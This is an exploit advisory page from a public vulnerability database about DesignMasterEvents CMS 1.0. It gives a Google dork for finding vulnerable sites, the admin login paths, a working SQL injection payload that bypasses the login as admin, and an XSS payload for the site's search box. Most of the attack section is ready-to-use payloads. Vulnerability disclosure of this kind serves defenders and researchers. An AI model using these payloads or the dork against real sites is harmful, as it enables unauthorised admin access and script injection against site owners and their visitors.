DesignMasterEvents CMS 1.0 SQL Injection / Cross Site Scripting

2020.03.30

Credit: **thelastvvv (https://cxsecurity.com/author/thelastvvv/1/)**

Risk: **Medium** | Local: **No** | Remote: **Yes**

CVE: **N/A**

CWE: **CWE-89 (https://cxsecurity.com/cwe/CWE-89)**
CWE-79 (https://cxsecurity.com/cwe/CWE-79)

Dork: (See Dorks List) intext:"by :Design Master Events"
(https://cxsecurity.com/dorks/)

```
# Exploit Title:  DesignMasterEvents Conference management CMS SQL Injection Auth Bypass & XSS Vulnerability
# Google Dork: intext:"by :Design Master Events"
# Date: 2020-03-28
# Exploit Author: @ThelastVvV
# Vendor Homepage: http://www.designmasterevents.com
# Version:  1.0
# Tested on: Ubuntu

------------------------------------------------------------

PoC 1:
Authentication Bypass / SQL Injection


# Admin Control Panel Paths :
www.anysite.com/admin/
www.anysite.com/admin/login.php

Payload(s)
USERNAME: admin' or '1' = '1'; -- -

PASSWORD: vvv

the SQL injection attack has resulted in a bypass of the login, and we are now authenticated as "admin".


PoC 2 :

XSS Vulnerability

Payload(s) :

In Search box use payload:

"><img src=x onerror=prompt(document.domain);>

www.anysite.com/certificate.php
```

See this note in RAW Version (https://cxsecurity.com/ascii/WLB-2020030177)

Tw | Lul

Vote for this issue: 0 0

50%	50%

Comment it here.

Nick (*)

Nick

Email (*)

Email

Video

Link to Youtube

Text (*)